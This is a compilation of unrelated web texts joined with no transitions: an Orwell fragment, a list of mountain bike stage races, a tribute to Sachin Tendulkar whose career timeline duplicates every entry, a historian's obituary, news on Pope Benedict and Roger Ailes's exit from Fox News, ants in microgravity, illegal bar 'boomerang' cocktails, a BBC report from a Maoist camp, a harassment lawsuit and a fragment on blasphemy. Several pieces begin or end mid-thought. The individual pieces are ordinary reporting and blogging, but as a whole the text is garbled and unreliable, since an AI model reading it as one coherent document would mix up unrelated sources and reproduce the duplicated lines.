The modern, radically subjective idea of freedom ends with the Thought Police and Room 101:
For two hundred years we had sawed and sawed and sawed at the branch we were sitting on. And in the end…our efforts were rewarded and down we came. But unfortunately, there had been a little mistake. The thing at the bottom was not a bed of roses after all, it was a cesspool full of barbed wire.
Orwell enjoyed celebrity, but he cultivated unfashionability. He hoped to lead a parade, if only a small one, but only if he could march to the beat of his very different drum. And for his teaching and example, he deserves to have his memory kept free from “the smelly little orthodoxies which are now contending for our souls.”
After posting this question on a number of forums, I received some great feedback of additional races to include on the ‘ultimate’ list.
The below represent events that have captured the attention and imagination of mountain bike riders looking for that ideal mtb event scenario – whether that be challenging terrain, amazing scenery, singletrack, quality descents or absolute mental and physical challenge, the previous list and below events should have something of interest.
While I cannot list every mtb race, the below events have been selected by readers as a significant ride to strive for and compete in, for that once in a lifetime achievement. The events below include:
Trans Provence
Trans Rockies
Passportes du Soleil
Wildside MTB
Tour Divide MTB
Croc Trophy
Mountain Bike Races – Enduro & Stage
Trans Provence – France
One of the more impressive endure race formats that have sprung up recently, the Trans Provence is an mtb enduro race with 26 time stages for the ultimate in all mountain endurance riding. This 7 day event covers some 300km of with the time stages of mostly downhill, singletrack sections. The key differentiator with this event is the solo format, whereby a team is not required and the fact that there is a lot of technical singletrack on offer.
7 Days – 330Km /205miles – 10,000m / 32,800ft elevation gain
Trans Provence Website
Trans Rockies – Canada
Now in it’s 11th year the Trans Rockies is held in the tradition of the Trans Alps and Cape Epic – team based, big mountains and challenging riding. The distinct difference with this events is that the Trans Rockies has significantly more singletrack riding on offer that other ‘Trans’ and ‘Epic’ competitors, which is a major drawcard for this event.
7 days – 371 km / 231 mi – 11,350m / 37,238ft elevation gain
Trans Rockies Website
Passportes du Soleil – France & Switzerland
An endure style event utilising a fantastic trail network spanning several ski resorts across France and Switzerland. The 80Km circuit allow you to start from a number of different resorts and you 3 days to complete the ride. The circuit allows you to ride a variety of downhill and technical singletrack trails, which are specifically signed for the event, whilst utilising the resorts lift system to deliver you to the top and send you down on trails that with the next resort. This is less a race and more a participative ride through some of best mountain biking that France and Switzerland have on offer. Wade Wallace from Cycling Tips has a report on his 2010 experience here.
3 Days – 80Km / 50miles
Passportes du Soleil Website
Wildside MTB – Australia
The Wildside MTB in Tasmania, Australia is a 4 day, 200 km event that captures both a competitive element, via the timed competition sections and a participative ride via the non-timed sections, giving you the best of both worlds – similar to the European enduro format. The route is held is some of the most spectacular country in Tasmania, starting at the world heritage listed Cradle Mountain and ending in Strahan, on Tasmania’s west coast. Since 2006 the WildsideMTB has been held every 2 years, and has attracted some of Australia’s and the world’s leading mountain bike endurance riders.
4 Days – 200Km/124miles
Wildside MTB Website
Tour Divide MTB – Canada & USA
The granddaddy of organised mtb races, this ride is massive. The race is a self-supported, self-policed journey from Banff to the border of USA and Mexico – some 4418Km/2745miles in length, making it the longest off-pavement bike race in the world. The ride has a high attrition rate, and those who complete it, overcome huge physical and mental obstacles to complete one of the great adventure rides of the world. To gain an understanding of the challenges of the Great Divide mtb race, producer Mike Dion competed in the race and produced the documentary Ride the Divide
which provides great insight, especially with regards to the mental strength required to complete such an event. Jill Homer rode in the Tour Divide in 2009 and wrote about her account in her book Be Brave, Be Strong: A Journey Across the Great Divide
again detailing the metal barriers to overcome to successfully complete the event.
27-31 days – 4418Km/2745 miles – 60,960m / 200,000ft elevation gain
Tour Divide MTB Website
Croc Trophy – Australia
The Croc Tropy – another race that is claiming the toughest mountain bike race in the world, which when you consider where this is held, the number of stages and distances, it very well may be true! The croc trophy was the vision of enterprising Austrian to create a tough stage race for mountain bikers. This European connection and the event marketing has created a diverse international field, heavily stacked with European riders, to compete in Australia’s harsh outback terrain.
9 Days – 933Km/580miles – 12,900m / 42,322ft elevation gain
Croc Trophy Website
As we continue to see new events every year in addition to some notable legacy events, there is sure to be healthy discussion on what should be included in a ultimate mountain bike race list post. Feel free to post your suggestions below.
Martin Crowe and Rahul Dravid discuss the three contenders for the Cricketer of the Generation award
Twenty years from now you will be more disappointed by the things that you didn't do than by the ones you did do, so throw off the bow lines, sail away from safe harbour, catch the trade winds in your sails. Explore, Dream, Discover.
- Attributed to Mark Twain
A thoughtful, wise man was our Mr Twain. He knew how we so easily tie ourselves up in knots, becoming boxed in, with limited thinking and endeavour. Then along comes a beacon, a shining light, to show us the way with actions of discovery and dream-weaving. In cricket, for these last 20 years and more, that light has been Sachin Tendulkar.
Selecting a 16-year-old in a tough man's world was courageous, and the apprenticeship Tendulkar completed by the age of 20 was equal to the confidence vested in him. He threw off the bow lines and caught a wind. He loved the strong force, the exploration, the unknown. By age 20, his sails were full and there was no stopping his peregrination, his journey, his pilgrimage to pay homage to the great game of cricket.
Sachin undertook this quest for a votive purpose: a vow to love the game as taught to him by his father. The true meaning of father and son sits right here. Ramesh Tendulkar inspired his boy to dream. And as Sachin revealed in his farewell speech, three decades later, it was a lifelong sentiment that drove him on.
1993-2013: two decades of greatness February 11-12, 1993: Scores his first Test century at home. Hits 24 fours and a six in his 165 against England.
Scores his first Test century at home. Hits 24 fours and a six in his 165 against England. March 27, 1994: Makes 82 off 49 balls opening in ODIs for the first time.
Makes 82 off 49 balls opening in ODIs for the first time. October, 1995: His Rs 31.5 crore contract with WorldTel makes him the world's richest cricketer.
His Rs 31.5 crore contract with WorldTel makes him the world's richest cricketer. February-March, 1996: With 523 runs at 87.16, he's the top scorer in the World Cup.
With 523 runs at 87.16, he's the top scorer in the World Cup. August 8, 1996: Named India captain at 23. Sacked 15 months later after India win three of 17 Tests under his leadership.
Named India captain at 23. Sacked 15 months later after India win three of 17 Tests under his leadership. February-March, 1998: Gets his maiden first-class double-hundred, and two hundreds and a fifty, in three Tests against Australia.
Gets his maiden first-class double-hundred, and two hundreds and a fifty, in three Tests against Australia. April 22-24, 1998: Scores back-to-back ODI hundreds against Australia in Sharjah, in the "Desert Storm" series.
Scores back-to-back ODI hundreds against Australia in Sharjah, in the "Desert Storm" series. January 30-31, 1999: Makes 136 in the fourth innings in Chennai against Pakistan with an injured back. Gets out with 17 to win; India fall short by 13.
Makes 136 in the fourth innings in Chennai against Pakistan with an injured back. Gets out with 17 to win; India fall short by 13. March 20, 2001: Scores a famous century in Chennai against Australia. India win the series 2-1.
Scores a famous century in Chennai against Australia. India win the series 2-1. March 31, 2001: Becomes the first player to score 10,000 runs in one-day cricket.
Becomes the first player to score 10,000 runs in one-day cricket. February-March, 2003: Scores 673 runs in the World Cup.
Scores 673 runs in the World Cup. March 16, 2005: Becomes the fifth man to score 10,000 Test runs.
Becomes the fifth man to score 10,000 Test runs. December 10, 2005: Becomes the leading centurion in Test cricket, overtaking Sunil Gavaskar's 34.
Becomes the leading centurion in Test cricket, overtaking Sunil Gavaskar's 34. August, 2007: Makes 228 runs in his first Test series win outside the subcontinent, as India beat England 1-0.
Makes 228 runs in his first Test series win outside the subcontinent, as India beat England 1-0. January 4, 2008: Scores an unbeaten 154 at the SCG, his first century in more than two years and 19 Tests against opposition other than Bangladesh.
Scores an unbeaten 154 at the SCG, his first century in more than two years and 19 Tests against opposition other than Bangladesh. October 17, 2008: Breaks Brian Lara's record for most Test runs.
Breaks Brian Lara's record for most Test runs. November 5, 2009: Goes past 17,000 ODI runs during his 175 off 141 balls in an unsuccessful chase of 351 against Australia in Hyderabad.
Goes past 17,000 ODI runs during his 175 off 141 balls in an unsuccessful chase of 351 against Australia in Hyderabad. February 24, 2010: Becomes the first male player to score 200 in an ODI.
Becomes the first male player to score 200 in an ODI. December 19, 2010: Becomes the first to score 50 Test hundreds, in Centurion.
Becomes the first to score 50 Test hundreds, in Centurion. April 2, 2011: Is part of a World Cup-winning team in his sixth attempt.
Is part of a World Cup-winning team in his sixth attempt. March 16, 2012: More than a year after scoring his 99th international hundred, Tendulkar gets his 100th, in an ODI against Bangladesh in Mirpur.
More than a year after scoring his 99th international hundred, Tendulkar gets his 100th, in an ODI against Bangladesh in Mirpur. November 16, 2013: An emotional India bids farewell to Tendulkar on his home ground, the Wankhede Stadium. It's his 200th Test.
"The most important person in my life, and I have missed him a lot since 1999, when he passed away - my father. Without his guidance, I don't think I would have been standing here in front of you. He gave me freedom at the age of 11, and told me that [I should] chase my dreams, but make sure you do not find shortcuts. The path might be difficult, but don't give up. And I have simply followed his instructions. Above all, he told me to be a nice human being, which I will continue to do and try my best. Every time I have done something special [and] showed my bat, it was [for] my father."
Incredible love is what Sachin had for cricket, and cricket for Sachin. Not a bad word said in 24 glorious years representing a nation addicted to loving a game - more than any other nation has cherished any such pastime. Nothing but sheer love abounded. And gratitude.
His novice years as an international cricketer were revealing and yet predictable. He struggled a little, as he should. He learned about failure and pain and he gained much in his first 20 Tests. Tours to Pakistan and New Zealand in 1989-90, England in 1990 (on which he made his first Test hundred, at Old Trafford) - his first ten Tests gave him a worldly education.
In his 11th Test, he played at home for the first time. It would be another ten Tests before he played another on familiar soil, in between touring the globe further - to Australia, Zimbabwe and South Africa.
Upon reaching the ripe old age of 20 he had played 25 Tests, scoring just over 1500 runs at 44, with five splendid centuries against three giants of the game - England and Australia (twice each), and South Africa. He had already welcomed Shane Warne onto the stage with dismissive disdain in his 148 not out (his second Test hundred) in Sydney, but unleashing hell was to come.
By his 30th Test he was averaging over 50. From there he would never look back. By his 100th Test he was averaging over 55 per innings, with 31 centuries notched on his belt. And so the love continued. And we all loved him back so dearly.
Over the next decade he kept sailing strongly, stopping at times to fix a broken halyard or a torn wing; his body was well managed yet the never-ending, sometimes gruelling, ritual had to take its toll. While his body needed constant nourishment, his mind and more notably his heart, surged on.
After 18 years at the top, concern of an ending was expressed by onlookers, yet Sachin stood fast. His ardent reply was to be patient, that these waters needed careful manoeuvring. It was India he was referring to, regarding protection and safety, not his own. His patriotism was extraordinary. And the loyalty he displayed to the cause, day in day out, was a mind-blowing trait. It never wavered, always resolute, forever caring.
“ Cricket is not just about performance. It's also about life. It's about how you leave an imprint on the young: the imprint of integrity, of honesty and of gratitude. Sachin Tendulkar lived this quality all his life
Through the nineties India began to find a new confidence and power as a nation. Mahatma Gandhi would never have foreseen such a mighty force awoken due to the birth of the computer age, yet it did and with the economy thriving and the cricket captivating, the one figure who kept emerging as the inspirer was Tendulkar himself. India rightly were in love with their pied piper. They flocked to see him play.
In late 1995, in my final match, after 14 long years serving my country, we played the fifth one-day international in Nagpur. Enjoying the small boundaries, New Zealand posted their own record one-day score.
The jury that picked ESPNcricinfo's Cricketer of the Generation Russel Arnold Former Sri Lanka allrounder, Sambit Bal Editor-in-chief, ESPNcricinfo, Habibul Bashar Former Bangladesh captain, Ian Bell England batsman, Rahul Bhattacharya Cricket writer and novelist, Harsha Bhogle Commentator, presenter and writer, Lawrence Booth Editor, Wisden Cricketers' Almanack, Geoffrey Boycott Former England batsman, Daniel Brettig Assistant editor, ESPNcricinfo, Mark Butcher Former England batsman, Ian Chappell Former Australia captain, Aakash Chopra Former India batsman, Ed Cowan Australia batsman, Mike Coward Cricket writer, Tony Cozier Commentator and writer, Martin Crowe Former New Zealand captain, Daryll Cullinan Former South Africa batsman, George Dobell Senior correspondent, ESPNcricinfo, Rahul Dravid Former India captain, Jeffrey Dujon Former West Indies wicketkeeper, Ramachandra Guha Historian and cricket writer, Gideon Haigh Cricket historian and writer, Michael Holding Former West Indies bowler, David Hopps UK editor, ESPNcricinfo, Tamim Iqbal Bangladesh batsman, Mahela Jayawardene Former Sri Lanka captain, Gaurav Kalra Senior editor, ESPNcricinfo, Akram Khan Former Bangladesh batsman, Athar Ali Khan Former Bangladesh batsman, Younis Khan Pakistan batsman and former captain, VVS Laxman Former India batsman, Ranjan Madugalle Former Sri Lanka batsman, Sanjay Manjrekar Former India batsman, Suresh Menon Editor, Wisden India Almanack, Andrew Miller Editor, the Cricketer, Mark Nicholas Commentator, writer and presenter, Iain O'Brien Former New Zealand bowler, Mike Procter Former South Africa allrounder, Ramiz Raja Former Pakistan captain, Barry Richards Former South Africa batsman, Mark Richardson Former New Zealand batsman, Osman Samiuddin Sportswriter, the National, Kumar Sangakkara Former Sri Lanka captain, Mike Selvey Former England bowler, Ed Smith Former England batsman, Heath Streak Former Zimbabwe bowler, Mark Taylor Former Australia captain, Sharda Ugra Senior editor, ESPNcricinfo, John Wright Former New Zealand captain, Waqar Younis Former Pakistan bowler
During the lunch break, there was a disaster. Part of the ageing, jam-packed stadium collapsed and injured over 70 spectators. Nine were killed. In the dressing rooms, oblivious to the tragedy, both sides prepared for the chase by India, led at the top by Tendulkar. As the rescue operations moved in, the game restarted. Then, as Tendulkar took strike, the stunned and concerned crowd, amid all the melee, turned their eyes to the middle, transfixed. No one moved, they just watched. As the rescue continued, the dream ride that everyone was on began again. Another Tendulkar innings was underway. This was the behaviour of a nation obsessively engrossed in every movement of its chosen son.
Of course there have been others - Brian Lara, Jacques Kallis and Shane Warne, to name three who led with different, phenomenal skills. These men thrilled and enthralled generations, for they too played long into the night, fearlessly and instinctively. Their passion, courage, longevity and genius will never be forgotten. They stood apart in their own nations' tapestry, setting the bar high, leaving deep vacancies. They were freaks of nature. And it was a privilege to watch such richness exude across the playing fields, especially when they competed against each other.
When Warne bowled to Tendulkar it was like watching a volcano erupt. The heat was at it its greatest, exploding forth. Tendulkar on his day was that eruption. No one has ever forgotten it.
Cricket is not just about performance. It's also about life. It's about how you leave an imprint on the young: the imprint of integrity, of honesty and of gratitude. Sachin Tendulkar lived this quality all his life and he shared it with us all, as only he could.
David Montgomery, a onetime McCarthy-era blacklisted union organizer who became a prominent Yale historian, died Friday at the age of 84.
He never lost his radical commitment to social change, even as a tenured Yale professor whose books were (and continue to be) read at universities throughout the world.
And he regularly left his ivory tower office to march alongside people in New Haven, including when they marched to unionize workers at Yale.
A genial, humble man, he was nevertheless hard-core strict on one point: He would tell students the first day of class at Yale that anyone who mistakenly called the Wobblies the “International Workers of the World,” rather than the “Industrial Workers of the World,” would automatically fail the class.
He retired in 1997, leaving behind legions of students who could probably identify a leading but too-often forgotten force in American labor history.
Speaking at an outdoor Mass on Sunday in Viterbo, north of Rome, Benedict said: “We cannot forget the major events that took place during one of the most terrible conflicts in history, that left tens of millions dead and provoked so much suffering for our beloved Polish people,” he said. “It was conflict that saw the tragedy of the Holocaust and the extermination of so many other innocents.”
Just days after Poland held ceremonies marking the German invasion across its border that started the war, Benedict singled out the war’s Polish victims, but he did not specifically mention the Jewish victims other than to broadly refer to the Holocaust.
Benedict, an 83-year-old German, witnessed the Second World War firsthand, describing himself as an unwilling enlistee in the Hitler Youth and later the army. He has decried totalitarianism and anti-Semitism many times over the years. But as pope he has been criticized by Jewish groups as being insensitive at times.
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During his first trip to the Holy Land as pope in May, Benedict was harshly criticized by some Israelis for his remarks at the Yad Vashem Holocaust memorial, where he did not mention Germany, the Nazis or his own experience of that time.
Roger Ailes | Getty It’s official: Roger Ailes to step down at Fox News
Roger Ailes will step aside as chairman and CEO of Fox News Channel, parent company Twenty-First Century Fox announced, just as the closing bell was rung Thursday afternoon.
Ailes' departure follows allegations of sexual harassment by a former anchor at the TV channel, Gretchen Carlson. Fox hired an outside law firm to investigate the claims, as well as others made by current and former employees. Ailes has vigorously denied the claims, and the independent investigation had not been completed when Ailes announced his resignation Thursday.
Rupert Murdoch will "become chairman and acting CEO of Fox News Channel and Fox Business Network," according to the official announcement. Murdoch traveled to New York on Thursday to personally address the Fox News newsroom, though many of its staff were in Cleveland, covering the Republican National Convention.
There, the group dialed in from its space in the convention center, "Fox News Sunday" host Chris Wallace told reporters who gathered outside the Fox space after the news of Ailes' exit broke.
Wallace joined a small scrum of Fox talent, who waited to talk to reporters in Cleveland until after the call with Murdoch.
"There are people in tears," Wallace said. "I shed mine a couple of days ago when the stories started to come out. ... I’ve never known a boss who transmitted a sense of mission, who transmitted a sense a team and common purpose more than Roger did. The thing that’s different from any place I’ve ever worked is people feel a personal connection to Roger, and I think a lot of people feel a deep sense of personal loss."
Ailes, who founded the channel in 1996 thanks to a large investment by Rupert Murdoch and built it into a major driver of profit for its parent company, Twenty-First Century Fox, and a power player in the national media-political complex, found himself at odds with Murdoch’s two children, Lachlan and James, who are now leading the company.
“Roger Ailes has made a remarkable contribution to our company and our country," said Murdoch in a statement. "Roger shared my vision of a great and independent television organization and executed it brilliantly over 20 great years. Fox News has given voice to those who were ignored by the traditional networks and has been one of the great commercial success stories of modern media. It is always difficult to create a channel or a publication from the ground up and against seemingly entrenched monopolies. ... I am personally committed to ensuring that Fox News remains a distinctive, powerful voice. Our nation needs a robust Fox News to resonate from every corner of the country. To ensure continuity of all that is best about Fox News and what it stands for, I will take over as Chairman and acting CEO, with the support of our existing management team under Bill Shine, Jay Wallace and Mark Kranz.”
It was the Murdoch sons who drove the decision to bring in outside investigators from the white-shoe law firm Paul, Weiss, Rifkind, Wharton & Garrison. It was not clear whether that investigation was complete, or had presented any findings to the company's leadership, though multiple leaks led to stories about some of the investigation's findings as it progressed over the past two weeks.
Ailes has staunchly denied the allegations by Carlson, which were delivered in a lawsuit filed with the New Jersey State Supreme Court two weeks ago, and his legal team has filed several preliminary motions aimed at taking the case out of court and into private arbitration.
Carlson's lawyers responded to the news of Ailes' resignation Thursday afternoon by taking credit for the ouster.
"Within two weeks of her filing a lawsuit against Roger Ailes, Gretchen Carlson's extraordinary courage has caused a seismic shift in the media world," the lawyers said in a statement. "We hope that all businesses now understand that women will no longer tolerate sexual harassment and reputable companies will no longer shield those who abuse women. We thank all the brave women who spoke out about this issue. We will have more to say in coming days as events unfold."
None of the statements released by Fox News, Twenty-First Century Fox, Ailes or Rupert Murdoch directly addressed the accusations.
“We join our father in recognizing Roger’s remarkable contributions to our company," the Murdoch brothers said in a statement. "Our talented Fox News and Fox Business colleagues, up and down the organization and on both sides of the camera, have built something that continues to redefine the cable news experience for millions of viewers. We are enormously proud of their accomplishments."
But the Murdoch sons did signal a connection between workplace ethics and the events that unfolded Thursday afternoon.
"For them, as well as for our colleagues across our entire organization, we continue our commitment to maintaining a work environment based on trust and respect," the statement continued. "We take seriously our responsibility to uphold these traditional, long-standing values of our company.”
Bret Baier, chief political anchor and host of "Special Report with Bret Baier," told reporters in Cleveland that Murdoch's remarks were a rallying cry.
“Basically [the gist of the call] was we have a job to do, and he praised us for the coverage this week and said ‘Let’s do what we do best.’ Yeah it was continuity, that was the message that came out of the conference call,” Baier said.
In a letter to Rupert Murdoch first published by The Drudge Report, Ailes said how "proud" he was of the success of Fox News, adding: "Having spent 20 years building this historic business, I will not allow my presence to become a distraction from the work that must be done every day to ensure that Fox News and Fox Business continue to lead our industry."
As the news broke, Fox News security was attempting to establish a perimeter around Fox News' space at the convention in Cleveland, where reporters had gathered to interview Fox News staff to get reactions to the news. At least one Fox staffer was visibly distraught by the news.
"No, you can’t talk to anybody from Fox News," a security guard told gathered reporters.
But former Fox News anchor and current Fox News contributor Brit Hume, anchor Greta Van Susteren, anchor Chris Wallace and Baier addressed the reporters who had gathered there.
Baier, when asked whether he was among the Fox News talent that had a "key man clause," which would allow him to leave Fox News Channel if Ailes does, responded "Yeah, I am."
“I can’t speak for anyone else. I know a number of people have things in their contracts that are whatever they’re called — key man clauses or something. I can’t speak for anyone else.”
"I’m really happy at Fox, and as long as, you know, things are going like they’re going, I think I couldn’t be happier,” Baier added. "I don’t think it’s going to change much from my perspective as what I do every day. I think a lot of what we do on the news side is bottom up and it’s always been that way. I’m betting that Rupert is going to continue with that same process.”
Indeed, the surprise move of naming Rupert Murdoch himself captain of the ship, at least temporarily, appeared to have been important to many among Fox's top talent in Cleveland covering the convention this week.
"I will tell you, it was quite inspiring to all of us that Rupert Murdoch flew back and he’s taking over the helm and he made everyone feel really good. He’s not changing anything," Van Susteren told reporters. "Change is always tough, but I think Rupert Murdoch coming back was a big deal for all of us."
Wallace told reporters he thought Murdoch’s taking of the mantle was a sign that stability would reign at the network.
“I think you might have wondered about that if it had been any other successor than Rupert,” he said, “but I think the fact that the guy who came up with the idea for Fox News along with Roger is now taking the helm ensures that it’ll stay on its present course.”
Ailes began his national media career as executive producer of the syndicated talk show “The Mike Douglas Show.” He subsequently entered the world of politics, becoming a critical adviser to President Richard Nixon and, later, George H.W. Bush. After leaving politics, he helped NBC launch the financial news channel CNBC, and later the channel America’s Talking, the first cable talk channel. “America’s Talking” was a predecessor of sorts to both Fox News and, more directly, MSNBC, which took over its channel space in 1996.
In 1996, Ailes launched Fox News for Murdoch’s News Corp. Fox News surpassed CNN in the ratings in 2002 and never really looked back. Ailes assumed control of the Fox TV stations group in 2005, giving him oversight of the company’s owned and operated TV stations. In 2007, Ailes launched his second cable business-news channel, Fox Business Network.
With Ailes’ departure, the big question on the lips of most everyone in the TV news business is: What happens next? Will any of FNC’s big-name stars leave? And can the channel hold onto its seat atop the cable news landscape, or will CNN continue its ratings comeback?
Peter Sterne, Kelsey Sutton and Nick Lindseth contributed to this report.
Even though microgravity caused these ants (sent up to the International Space Station as part of an experiment) to frequently slip off the surface of their plastic boxes, they were usually able to grab back on after three to eight seconds of floating (you can see this happening to one ant in the top right):
As Jonathan Webb of the BBC reports, these pavement ants were part of an experiment by a group of researchers led by Stanford biologist Deborah Gordon.
"Sometimes they would grab onto another ant and climb back down," Gordon told the BBC. "Sometimes, they somehow managed to just flatten themselves back onto the surface." Results of the experiment, conducted last year, were published in the journal Frontiers in Ecology and Evolution this week.
The formal experiment was a test of whether the ants could coordinate to search their environment, as they do on Earth. At the start, they were housed in a small corner of their plastic box, but over the course of a few minutes, astronauts removed barriers from it, allowing them to access new territory.
A comparison group of ant colonies on Earth were able to spread out and survey the entire environment within five minutes. Because of the difficulties of microgravity, the space ants weren't able to cover all the territory within the same time period, but they still managed to spread out and see most of it.
The point of this seemingly absurd experiment is to better understand how ants manage to coordinate their movements on Earth, despite the absence of any leader.
Of course, if asked, bartenders will tell you those items are not officially for sale. Just objects d’art, y’know. That is, until the right person walks in.
Another treasured bit of malfeasance is the boomerang cocktail. As the name partly indicates, these are drinks—often straight shots of liquor—prepared and packed up by the bartenders of one bar and sent on a short journey—usually by a willing and trusted patron—to bartenders at another bar. A little Saran Wrap, adorned with a short message in marker, protects them from spillage. (Sometimes they’re even placed within a box or Tupperware to discourage suspicion.) That bar will then send another refreshment back.
This bit of friendliness and camaraderie is completely illegal in almost all parts of the United States. Which is why you’ll never get a bartender or bar owner with any sense of self-preservation to talk about boomerangs on the record. As one Portland, Oregon bartender observes, “The first rule of boomerangs is you don’t talk about boomerangs. It’s like Fight Club.”
This “loose lips sink ships” policy was borne out by Ben Schott’s recent compendium of bar slang, which appeared in a February issue of the New York Times. Each of the dozens of bartender expressions and code words were attributed to one New York bar or another—except two, including the boomerang. (The other anonymous entry was “The Ski Club,” which refers to “coked-up customers who show up after 2 a.m. and are difficult to chase out at 4 a.m.”)
Choosing your courier can be a critical matter. You don’t want just any barfly as your go-between. He or she should be a regular and must be trustworthy and discreet.
Most people agree, off the record, that the practice began in the late 2000s in New York, specifically among cocktail bars in the East Village. This is very likely because of the sheer density of cocktail bars in that neighborhood, as barely a block separates one mixology mecca from another.
It is “a fun way of making the little East Village cocktail community seem even smaller and more connected,” says one regular courier of boomerangs, who, like the bartenders he enables, chooses to remain anonymous. “Sometimes small is a bad thing, but when you feel like you’re part of a conspiracy of friendship and harmless frivolity, it’s a good kind of belonging.”
The gesture was, from the beginning, one of good will and fellowship, with a tinge of cool-kids, secret-society hijinks thrown in.
“I love the idea behind them, which is pure and beautiful—an industry insider’s nod to a favorite bar or beloved bartender, a way to say thank you,” says one New York bartender. “It is the easiest way to buy your friend a drink, when your friend is as tied to the timber as you are.” The bartender adds, “I wish it were legal.”
In America’s most civilized city, it is. New Orleans has long had an open container law that allowed its civilians to carry alcoholic beverages in a plastic container through the streets. Because of this, Abigail Gullo, who bartends at SoBou in the French Quarter, was able to take a ritual she had observed as a New York bartender and put it into perfectly legal practice along the shores of the Mississippi.
“I started a tradition last year during Derby Day,” said Gullo. “I love the Kentucky Derby, but it always falls on the second week of Jazz Fest.” Thus, she says, most of her bartender friends are either working or too busy to celebrate because they’re preoccupied with the city’s music festival fanfare. “I wanted to remind them it was the Derby.”
And so she made a Mint Julep and ran it over to a nearby bartender pal. That drink’s beneficiary made a new Julep, which Gullo transported to a third bartender. And so on and so on.
For the most recent Derby, Gullo was too busy to do the transporting herself, so select clientele were called into duty. “I’m trying to take the boomerang out of the realm of just a bartender in-joke,” she explained. “Although the patrons did admit to taking sips along the way.”
Choosing your courier can be a critical matter. You don’t want just any barfly as your go-between. He or she should be a regular and must be trustworthy and discreet.
“That’s an important thing about the boomerang,” said the Portland bartender. “If we’re going to break the law, we’re only going to keep it between our closest friends.”
He related an object lesson on how NOT to get the job of boomerang messenger. It involved a too-eager cocktail enthusiast who brazenly volunteered himself for the task. “He had learned about this boomerang thing, because it’s been getting a little traction in the press, and he famously went up to a bartender and said, ‘Hey, I’m heading over to such and such a bar. You want me to bring him a boomerang?’ And the bartender said, ‘Who the *** do you think you are? And: No!’”
Thousands of people have been killed in the bloody Maoist insurgency across swathes of central and eastern India. The BBC's Suvojit Bagchi, who was granted unprecedented access to a Maoist camp in the depths of the Chhattisgarh jungle, describes the rebels' precarious life.
After eight hours of walking in dense forest, in the early evening we entered a narrow, barren stretch of land hemmed in by hillocks.
At the far end stood a few blue and yellow tents.
If we stay in a place for long, chances are that information of our stay will get out and we will get encircled Akash, Maoist rebel
Somji, one of the men who collected me between a small town in south Chhattisgarh and the thick central Indian forest, picked up speed as we approached.
A tall man standing guard with a rifle flung over his shoulder whistled and people started rushing towards us.
In under a minute, the camp members stood in formation and began singing a welcome song.
Each member in the queue raised their fist to whisper "lal salaam" - "red salute".
Mostly aged between 15 and 30 years old, the men and women in the camp wore rubber sandals, olive green battle fatigues and carried guns of various makes.
India's Maoist rebels say they are fighting for the rights of indigenous tribespeople and the rural poor. But the battle has been brutal: they frequently launch deadly attacks on India's security forces and those thought to support them.
Image caption Maoist rebels move around constantly to avoid detection by the security forces
In April 2010 Chhattisgarh was the site of the bloodiest Maoist attack yet on the security forces - 75 troops were killed. Paramilitary forces also launched attacks on tribal communities to restrict Maoist activities.
Camp security
Maoist platoons normally set up their camps in a semi-circle with one tent in the centre - the "headquarter".
INDIA'S MAOIST INSURGENCY Violent rebellion began in 1967 in West Bengal village of Naxalbari and spread over rural areas of central and eastern India
Led by elusive military commander Kishenji, supported by between 10,000 and 20,000 fighters
More than 6,000 killed since rebellion began
Bloodiest attacks on security forces include 76 killed in April 2010 ambush; 55 killed in 2007 attack on police post Profile: India's Maoist rebels Support slips away from India's Maoists Indian villagers in Maoist crossfire
Every time a camp is set up, the commander conducts a roll-call and updates camp members about their responsibilities if they come under attack.
Akash, 18, was in charge of my security at the first camp. He also gave me a few lessons in self defence.
He slept for about four hours each night: two hours were spent guarding the camp from under a mohua tree in drenching rain.
Nonetheless, he never failed to wake me up early for my walks through several kilometres of rain-sodden forest.
Though the purpose of these walks was to take me to villages and camps in the Maoist-controlled Dandakaranya forest, I learned the rebels walked long distances every few days for their own safety.
"If we stay in a place for long, chances are that information of our stay will get out and we will get encircled."
The constant movement, he told me, also helps them gather information about the whereabouts of security forces from villagers.
The relationship with villagers in areas they control is generally positive, but not always. Maoist will kill suspected informers and that has the potential to create a climate of fear. But they are also aware that harming ordinary villagers will simply erode their support base.
But this is a highly polarised area. In areas controlled by the paramilitary units there is little support for the Maoists - and villagers who display such sympathies have uncertain fates.
Camp routine
On days when we were not moving camp, I would rest on my makeshift bed of a plastic sheet, and watch the "comrade-soldiers" swinging their guns to instructions being shouted out by a platoon commander.
Image caption The rebels are active in swathes of central and eastern India
Ganita, 18 and a deft hand with a rifle, also gave me a detailed account of their daily chores.
Maoists participate in "community service", she said, such as helping elderly farmers, digging village wells and providing basic health care to locals.
This week Ganita was assigned to kitchen work.
Her kitchen was spread under one tent. Breakfast was limited to rice cooked with turmeric and ground nuts, while both lunch and dinner were just lentil soup and rice.
However, during my stay, frog, wild boar and monitor lizard meat were served a few times.
Evenings were dedicated to the study of party literature.
Published by the publicity wing of the Communist Party of India (Maoist), the writings highlighted party strategy and criticised the Indian state. They have about 12 magazines and the main one is published in the local tribal language, Gondi.
Each camp had one or two solar-powered car batteries that were used to power LED lamps that lit tents at night.
A couple of times each week, everybody assembled for a singing session in one of the plastic tents.
Local Gondi tunes were fused with revolutionary lyrics and hymns were sung to the memory of martyrs. The singing session would end with the BBC's Hindi news bulletin on the radio - its future is in doubt because of spending cuts.
"This is our only source of objective information," Maoist spokesperson in south Chhattisgarh, Gudsa Usendi, told me.
Films
When there were no sing-songs, films would be played on a laptop late into the night.
Image caption Many of the Gond tribal people have joined the Maoist movement
One film that was repeatedly screened was Do Bigha Zameen or Two Acres of Land, made in 1953 about the plight of a small farmer in Nehru's India.
Another popular film was The Axis of War which includes a depiction of Mao's long march.
Interestingly, Bruce Lee's Enter the Dragon is a roaring hit among the young cadres.
The guerrillas often invited locals to join their late-night soirees when they stayed near villages.
Most villagers had never seen a film before the Maoists showed them one.
"Families finish dinner early and come here to watch the late-night show whenever there is one," said one villager.
At the end of the day, I would lie down with up to a dozen guerrillas in one of the cramped tents.
The lawsuit filed earlier this month in federal court in Syracuse accuses Douglas Waterbury, of Oswego, of sexually harassing the women starting in 2012. They claim he demanded sex in return for lower rents and maintenance work at their apartments.
CNY Fair Housing, a nonprofit fair housing organization, joined the plaintiffs in the lawsuit.
In addition to rental properties in Oswego, Waterbury also owns an amusement park on Oneida Lake, the Renaissance Fair in Sterling on Lake Ontario, and Santa's Workshop, in the Adirondacks near Lake Placid.
Without the Prophet’s initial blasphemy, where he entered Mecca and destroyed what he thought were false gods and mindless idolatry, there would be no Islam as we know it today.
For those who worshipped the previous gods, the Prophet was a blasphemer. For Muslims today, people who think differently about the Prophet are blasphemers.
